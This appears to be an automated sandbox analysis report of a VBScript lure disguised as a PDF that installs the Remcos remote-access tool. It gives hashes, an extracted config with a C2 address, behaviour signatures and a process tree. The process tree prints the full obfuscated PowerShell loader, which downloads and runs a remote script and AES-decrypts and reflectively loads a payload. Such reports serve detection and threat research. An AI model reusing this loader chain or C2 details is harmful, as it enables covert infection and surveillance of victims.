Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250211-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250211-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/02/2025, 04:15

General

  • Target

    Teufelberger,pdf.vbs

  • Size

    565KB

  • MD5

    9b98d98f1219f50085218002b9d6d13e

  • SHA1

    98f7f59822afb1b87f7d5308f07fcfb54fc3c970

  • SHA256

    01ed509842998f2309e2aa5ff2aaba7f12fec0e25c7a7a6f01d5d672c6a06363

  • SHA512

    3fff27a5923af1d7834aa193602bd5231b2f0c0e498d5f87ed232602ef9c61c19a5a8cc11ae7df7b0576169d363c00b7ded0bcd5c980198b60bef56d5554027b

  • SSDEEP

    12288:pJrrbl3eNvxisBksII3s+ngAHjQVbF7ywmL/KSapUd:Ld3eBweII3e+kxpBpS

Malware Config

Extracted

Family

remcos

Botnet

Aboki

C2

abokirem.duckdns.org:56379

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-J4I3IV

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Blocklisted process makes network request 4 IoCs
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 7 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • .NET Reactor proctector 1 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 10 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Installs/modifies Browser Helper Object 2 TTPs 8 IoCs

    BHOs are DLL modules which act as plugins for Internet Explorer.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies Internet Explorer settings 1 TTPs 26 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 28 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 35 IoCs
  • System policy modification 1 TTPs 4 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Teufelberger,pdf.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4120
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\IXeqOHqsNh.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1328
      • C:\Windows\system32\cmd.exe
        cmd /c "C:\Users\Admin\AppData\Local\Temp\IXeqOHqsNh.bat" min
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5080
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\IXeqOHqsNh.bat';$QfYeqOS='SpATtcwStlATtcwStiATtcwSttATtcwSt'.Replace('ATtcwSt', ''),'ReGpiKayZaGpiKayZdLiGpiKayZnGpiKayZeGpiKayZsGpiKayZ'.Replace('GpiKayZ', ''),'DezBQyDOPcozBQyDOPmpzBQyDOPrezBQyDOPsszBQyDOP'.Replace('zBQyDOP', ''),'MarfDGKORinrfDGKORMorfDGKORdurfDGKORlrfDGKORerfDGKOR'.Replace('rfDGKOR', ''),'CfXwBwRAreafXwBwRAteDfXwBwRAefXwBwRAcrfXwBwRAyptfXwBwRAorfXwBwRA'.Replace('fXwBwRA', ''),'CopMYtQoWiyTMYtQoWioMYtQoWi'.Replace('MYtQoWi', ''),'ChawEkUndknwEkUndkgewEkUndkEwEkUndkxwEkUndktewEkUndknsiwEkUndkowEkUndknwEkUndk'.Replace('wEkUndk', ''),'TxhGCEnLrxhGCEnLanxhGCEnLsfoxhGCEnLrmxhGCEnLFixhGCEnLnalxhGCEnLBxhGCEnLloxhGCEnLcxhGCEnLkxhGCEnL'.Replace('xhGCEnL', ''),'ERwiyYKNlRwiyYKNeRwiyYKNmeRwiyYKNntARwiyYKNtRwiyYKN'.Replace('RwiyYKN', ''),'GeJqilOHDtCuJqilOHDrrJqilOHDenJqilOHDtJqilOHDPrJqilOHDoceJqilOHDsJqilOHDsJqilOHD'.Replace('JqilOHD', ''),'InSFBzsDlvokSFBzsDleSFBzsDl'.Replace('SFBzsDl', ''),'EntmDkSfzVrymDkSfzVPomDkSfzVinmDkSfzVtmDkSfzV'.Replace('mDkSfzV', '');powershell -w hidden;iex (($([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('U1RSSU5HUkFORE9NaVNUUklOR1JBTkRPTWVTVFJJTkdSQU5ET014ICgoaVNUUklOR1JkRPTXdTVFJJTkdSQU5ET01yU1RSSU5HUkFORE9NIC1TVFJJTkdSQU5ET01VU1RSSU5HUkFORE9Nc1NUUklOR1JkRPTWVTVFJJTkdSQU5ET01CU1RSSU5HUkFORE9NYVNUUklOR1JkRPTXNTVFJJTkdSQU5ET01pU1RSSU5HUkFORE9NY1NUUklOR1JkRPTVVFJJTkdSQU5ET01hU1RSSU5HUkFORE9NclNUUklOR1JkRPTXNTVFJJTkdSQU5ET01pU1RSSU5HUkFORE9NblNUUklOR1JkRPTWdTVFJJTkdSQU5ET00gIlNUUklOR1JkRPTWhTVFJJTkdSQU5ET010dHBzU1RSSU5HUkFORE9NOlNUUklOR1JBTkRPTS9TVFJJTkdSQU5ET00vU1RSSU5HUkFORE9NMFNUUklOR1JBTkRPTXhTVFJJTkdSQU5ET00wU1RSSU5HUkFORE9NLlNUUklOR1JkRPTXNTVFJJTkdSQU5ET010U1RSSU5HUkFORE9NL1NUUklOR1JkRPTThTVFJJTkdSQU5ET01aU1RSSU5HUkFORE9NRFNUUklOR1JkRPTWFTVFJJTkdSQU5ET00uU1RSSU5HUkFORE9NdFNUUklOR1JBTkRPTXhTVFJJTkdSQU5ET010U1RSSU5HUkFORE9NIikuQ29udGVudC5SZXBsYWNlKCdBQkMnLCcnKSkgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWU7')))) -replace 'STRINGRANDOM', '');iex (($([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaXdyIC1Vc2VCYXNpY1BhcnNpbmcgImh0dHBzOi8vMHgwLnN0LzhaZXkucHMxIikuQ29udGVudC5SZXBsYWNlKCdBQkMnLCcnKSkgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWU7')))) -replace 'STRINGRANDOM', '');function decrypt_function($param_var){$aes_var=[System.Security.Cryptography.Aes]::Create();$aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC;$aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$aes_var.Key=[System.Convert]::FromBase64String('ewMoxjcpzeNBZW19N7eS0/ZStjAsKH1ZQlG6Hp4+rlE=');$aes_var.IV=[System.Convert]::FromBase64String('GwaE+1wDAP4SIjKqb1sLhw==');$FAPRA=$aes_var.($QfYeqOS[4])();$cJMDe=$FAPRA.($QfYeqOS[7])($param_var,0,$param_var.Length);$FAPRA.Dispose();$aes_var.Dispose();$cJMDe;}function decompress_function($param_var){$OMBpZ=New-Object System.IO.MemoryStream(,$param_var);$ZMdDq=New-Object System.IO.MemoryStream;$ztAGx=New-Object System.IO.Compression.GZipStream($OMBpZ,[IO.Compression.CompressionMode]::($QfYeqOS[2]));$ztAGx.($QfYeqOS[5])($ZMdDq);$ztAGx.Dispose();$OMBpZ.Dispose();$ZMdDq.Dispose();$ZMdDq.ToArray();}$YZNls=[System.IO.File]::($QfYeqOS[1])([Console]::Title);$eOuee=decompress_function (decrypt_function ([Convert]::FromBase64String([System.Linq.Enumerable]::($QfYeqOS[8])($YZNls, 6).Substring(2))));[System.Reflection.Assembly]::Load([byte[]]$eOuee).($QfYeqOS[11]).($QfYeqOS[10])($null,$null); "
          4⤵
            PID:2284
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            4⤵
            • Blocklisted process makes network request
            • Drops startup file
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:4220
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3988
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\IXeqOHqsNh')
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3460
    • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
      "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7Njc2QjNCQzctM0U2Ri00MDZGLTg0RkYtQTU1OTlBMERDRkUwfSIgdXNlcmlkPSJ7OUIxRjU5RDktNjczNC00MUYyLUFENzAtMzUxOEM5MTY3OEIxfSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7RDU3N0ZBMUQtMzE0Mi00OEJGLTg2MDktM0M1MzRGN0JBNzg3fSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSIzIiBpbnN0YWxsZGF0ZXRpbWU9IjE3MzkyODMyMzYiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4Mzc1NDI1MTE0ODAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1NDQ1NTYyMzA4Ii8-PC9hcHA-PC9yZXF1ZXN0Pg
      1⤵
      • System Location Discovery: System Language Discovery
      • System Network Configuration Discovery: Internet Connection Discovery
      PID:5032
    • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{E9E875C9-E815-4D21-B3DD-C7693907E63F}\MicrosoftEdge_X64_133.0.3065.59.exe
      "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{E9E875C9-E815-4D21-B3DD-C7693907E63F}\MicrosoftEdge_X64_133.0.3065.59.exe" --msedge --verbose-logging --do-not-launch-msedge --system-level --channel=stable
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:4544
      • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{E9E875C9-E815-4D21-B3DD-C7693907E63F}\EDGEMITMP_D406B.tmp\setup.exe
        "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{E9E875C9-E815-4D21-B3DD-C7693907E63F}\EDGEMITMP_D406B.tmp\setup.exe" --install-archive="C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{E9E875C9-E815-4D21-B3DD-C7693907E63F}\MicrosoftEdge_X64_133.0.3065.59.exe" --msedge --verbose-logging --do-not-launch-msedge --system-level --channel=stable
        2⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Executes dropped EXE
        • Installs/modifies Browser Helper Object
        • Drops file in Program Files directory
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        • System policy modification
        PID:4376
        • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{E9E875C9-E815-4D21-B3DD-C7693907E63F}\EDGEMITMP_D406B.tmp\setup.exe
          "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{E9E875C9-E815-4D21-B3DD-C7693907E63F}\EDGEMITMP_D406B.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.60 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{E9E875C9-E815-4D21-B3DD-C7693907E63F}\EDGEMITMP_D406B.tmp\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.59 --initial-client-data=0x224,0x228,0x22c,0x200,0x230,0x7ff700186a68,0x7ff700186a74,0x7ff700186a80
          3⤵
          • Executes dropped EXE
          PID:1052
        • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{E9E875C9-E815-4D21-B3DD-C7693907E63F}\EDGEMITMP_D406B.tmp\setup.exe
          "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{E9E875C9-E815-4D21-B3DD-C7693907E63F}\EDGEMITMP_D406B.tmp\setup.exe" --msedge --channel=stable --system-level --verbose-logging --create-shortcuts=2 --install-level=1
          3⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Drops file in Program Files directory
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1368
          • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{E9E875C9-E815-4D21-B3DD-C7693907E63F}\EDGEMITMP_D406B.tmp\setup.exe
            "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{E9E875C9-E815-4D21-B3DD-C7693907E63F}\EDGEMITMP_D406B.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.60 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{E9E875C9-E815-4D21-B3DD-C7693907E63F}\EDGEMITMP_D406B.tmp\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.59 --initial-client-data=0x224,0x228,0x22c,0x200,0x230,0x7ff700186a68,0x7ff700186a74,0x7ff700186a80
            4⤵
            • Executes dropped EXE
            • Drops file in Program Files directory
            PID:336
        • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe" --msedge --channel=stable --register-package-identity --verbose-logging --system-level
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3216
          • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.60 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.59 --initial-client-data=0x224,0x228,0x22c,0x200,0x230,0x7ff71a9f6a68,0x7ff71a9f6a74,0x7ff71a9f6a80
            4⤵
            • Executes dropped EXE
            PID:3852
        • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe" --msedge --channel=stable --remove-deprecated-packages --verbose-logging --system-level
          3⤵
          • Executes dropped EXE
          • Drops file in Program Files directory
          • Suspicious use of WriteProcessMemory
          PID:1420
          • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.60 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.59 --initial-client-data=0x224,0x228,0x22c,0x200,0x230,0x7ff71a9f6a68,0x7ff71a9f6a74,0x7ff71a9f6a80
            4⤵
            • Executes dropped EXE
            • Drops file in Program Files directory
            PID:4208
        • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe" --msedge --channel=stable --update-game-assist-package --verbose-logging --system-level
          3⤵
          • Executes dropped EXE
          • Drops file in Program Files directory
          • Suspicious use of WriteProcessMemory
          PID:2252
          • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.60 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.59 --initial-client-data=0x224,0x228,0x22c,0x200,0x230,0x7ff71a9f6a68,0x7ff71a9f6a74,0x7ff71a9f6a80
            4⤵
            • Executes dropped EXE
            • Drops file in Program Files directory
            PID:4480
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe -k AppReadiness -p -s AppReadiness
      1⤵
        PID:4420
      • C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_x64__8wekyb3d8bbwe\LocalBridge.exe
        "C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_x64__8wekyb3d8bbwe\LocalBridge.exe" /InvokerPRAID: Microsoft.MicrosoftOfficeHub prelaunch
        1⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:1600
      • C:\Windows\system32\wwahost.exe
        "C:\Windows\system32\wwahost.exe" -ServerName:Microsoft.MicrosoftOfficeHub.wwa
        1⤵
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:3220

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{E9E875C9-E815-4D21-B3DD-C7693907E63F}\EDGEMITMP_D406B.tmp\setup.exe

        Filesize

        6.8MB

        MD5

        1b3e9c59f9c7a134ec630ada1eb76a39

        SHA1

        a7e831d392e99f3d37847dcc561dd2e017065439

        SHA256

        ce78ccfb0c9cdb06ea61116bc57e50690650b6b5cf37c1aebfb30c19458ee4ae

        SHA512

        c0e50410dc92d80ff7bc854907774fc551564e078a8d38ca6421f15cea50282c25efac4f357b52b066c4371f9b8d4900fa8122dd80ab06ecbd851c6e049f7a3e

      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

        Filesize

        3.9MB

        MD5

        ad5f7dc7ca3e67dce70c0a89c04519e0

        SHA1

        a10b03234627ca8f3f8034cd5637cda1b8246d83

        SHA256

        663fe0f4e090583e6aa5204b9a80b7a76f677259066e56a7345aebc6bc3e7d31

        SHA512

        ad5490e9865caa454c47ec2e96364b9c566b553e64801da60c295acd570017747be1aff6f22ca6c20c6eee6f6d05a058af72569fd6e656f66e48010978c7fd51

      • C:\Program Files\msedge_installer.log

        Filesize

        74KB

        MD5

        e7351edf467defab5c93a5fd2d0fb991

        SHA1

        6a9cb9cd193e29956854c46dbe7faee908818b2c

        SHA256

        3afb1794664092f852c598dba43f80f46b2d102da510e2aa48f0cb579baae294

        SHA512

        d34add723f29e3a4965167d85862fe8628e1dd5e346e29abddf40482440be3b108bbaf8db0dd1f42c145489faef100a13ce7e66bd13fc91b1ba471625c098de3

      • C:\Program Files\msedge_installer.log

        Filesize

        99KB

        MD5

        b4df2c44d7f57b73b61f79bb77e0abb4

        SHA1

        3f857f1675a0c5505104b7a7f62b1f13ecdc2398

        SHA256

        e22ad2a91f37c742efe2bb7130b09d1f3fb3b773ad9b54dd2ff3e1c4c5ad80d7

        SHA512

        4f151386386ed6aaf99168a96f5de59094250b3e664e693e0525e8e4e78b38590c44b8a26938d534c4ff6f6b261a5b2b23526c0fecebb509d855b0e901c8a7e6

      • C:\Program Files\msedge_installer.log

        Filesize

        102KB

        MD5

        f77804960a3841eaaf6681778b6b2cb4

        SHA1

        aa7b253c01d3260e5731b22b49a19cb348f4fbfb

        SHA256

        20b8396880e846a1b486db3abbb9a7e47d508ea21041776d72040832453ffa47

        SHA512

        702f05f6db2630a96a158cfafe339782cb7c745786979617057297aeb5bdbb381039befa4d8777843b3db70a6f73fd5c2292a8bb608cc1f78a5aba01b8b4d0f3

      • C:\Program Files\msedge_installer.log

        Filesize

        104KB

        MD5

        370e5380ad6564f01e25bf8fe803c0ed

        SHA1

        89b7fc8d4cfe3afc7244780a823ef00dea9d16dc

        SHA256

        967b4a034ad4b09d7339c4480686de27957fac622244780ed3da6ae275b2c6e0

        SHA512

        3c4d2605a367b5da46f172167bdca00d8afaf6596d3bc36879cd8d600c3bafda13475353c65a8a560f733c42ec1052f08520425ff7a3083dba2e4ca11f7d4c72

      • C:\ProgramData\remcos\logs.dat

        Filesize

        144B

        MD5

        0e37a1910c83ff1b4563dc89e53d7396

        SHA1

        4bf463751014470d606e82c05d5d218076356c4b

        SHA256

        4256e25db156f616a1a05bfc61021e94d21d71277add9ec7ed7e4afbb4c776b1

        SHA512

        22013ccd6e35e5fafea3532604b7096a713fd0174e78bdf48e4c8752a30b107df1c1a8cb1b8711745e58060f99d614dadb7b125a91137e2948ae3c31ec01d7c8

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

        Filesize

        1KB

        MD5

        928d36ad618a369ffebf44885d07cf81

        SHA1

        edf5a353a919c1873af8e6a0dfafa4c38c626975

        SHA256

        d3436adbbe4dcb701c214f108dcd7babddbbc1b3b6f6dd6f5a4c5fc8c1a507ea

        SHA512

        4ca6f5da3cf41f7ea938eaa80e169ed3ba33c93ada8932d2683c5a57e632b963d0cb84bc6330cb1454801f0fbed02f97c8b8c7bbd992c8fdf603220f2be9086a

      • C:\Users\Admin\AppData\Local\Temp\IXeqOHqsNh.bat

        Filesize

        565KB

        MD5

        fdf385474e086a6d6b1a034e86be995d

        SHA1

        34a1dff178fc6956271b930c636dfd66bce99fe1

        SHA256

        0842d522c1af86ffa47abb10ef60c9ea4c90c8ed912b9628edb33bcc4e11ae6d

        SHA512

        bb7f8b92d48174559b83f55bbe3f651f5be3720bb7ec54a654e37e2741a424ca69d72e446cd8acdaf9ee4d21d71c30306321724b26dac37237295a8e40b598c1

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xnpobjgi.was.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/1600-208-0x0000024C1FDE0000-0x0000024C1FDE8000-memory.dmp

        Filesize

        32KB

      • memory/1600-209-0x0000024C3B200000-0x0000024C3B449000-memory.dmp

        Filesize

        2.3MB

      • memory/1600-207-0x0000024C1FDB0000-0x0000024C1FDBA000-memory.dmp

        Filesize

        40KB

      • memory/1600-206-0x0000024C1F900000-0x0000024C1F90E000-memory.dmp

        Filesize

        56KB

      • memory/3460-74-0x00000000709B0000-0x00000000709FC000-memory.dmp

        Filesize

        304KB

      • memory/4220-55-0x00000000079B0000-0x00000000079C1000-memory.dmp

        Filesize

        68KB

      • memory/4220-73-0x0000000074570000-0x0000000074D20000-memory.dmp

        Filesize

        7.7MB

      • memory/4220-40-0x00000000709B0000-0x00000000709FC000-memory.dmp

        Filesize

        304KB

      • memory/4220-41-0x0000000070FD0000-0x0000000071324000-memory.dmp

        Filesize

        3.3MB

      • memory/4220-51-0x0000000007880000-0x000000000789E000-memory.dmp

        Filesize

        120KB

      • memory/4220-52-0x00000000078A0000-0x0000000007943000-memory.dmp

        Filesize

        652KB

      • memory/4220-53-0x0000000007990000-0x000000000799A000-memory.dmp

        Filesize

        40KB

      • memory/4220-54-0x0000000008150000-0x00000000081E6000-memory.dmp

        Filesize

        600KB

      • memory/4220-27-0x00000000072B0000-0x00000000072CA000-memory.dmp

        Filesize

        104KB

      • memory/4220-56-0x00000000079F0000-0x00000000079FE000-memory.dmp

        Filesize

        56KB

      • memory/4220-57-0x0000000007A00000-0x0000000007A14000-memory.dmp

        Filesize

        80KB

      • memory/4220-58-0x000000007457E000-0x000000007457F000-memory.dmp

        Filesize

        4KB

      • memory/4220-59-0x00000000080D0000-0x00000000080EA000-memory.dmp

        Filesize

        104KB

      • memory/4220-60-0x0000000074570000-0x0000000074D20000-memory.dmp

        Filesize

        7.7MB

      • memory/4220-61-0x00000000080C0000-0x00000000080C8000-memory.dmp

        Filesize

        32KB

      • memory/4220-62-0x00000000092F0000-0x0000000009360000-memory.dmp

        Filesize

        448KB

      • memory/4220-26-0x0000000007A30000-0x00000000080AA000-memory.dmp

        Filesize

        6.5MB

      • memory/4220-39-0x0000000007840000-0x0000000007872000-memory.dmp

        Filesize

        200KB

      • memory/4220-25-0x0000000007330000-0x00000000073A6000-memory.dmp

        Filesize

        472KB

      • memory/4220-86-0x00000000094C0000-0x0000000009516000-memory.dmp

        Filesize

        344KB

      • memory/4220-87-0x0000000000400000-0x0000000000480000-memory.dmp

        Filesize

        512KB

      • memory/4220-24-0x0000000006400000-0x0000000006444000-memory.dmp

        Filesize

        272KB

      • memory/4220-23-0x0000000005FC0000-0x000000000600C000-memory.dmp

        Filesize

        304KB

      • memory/4220-22-0x0000000005FA0000-0x0000000005FBE000-memory.dmp

        Filesize

        120KB

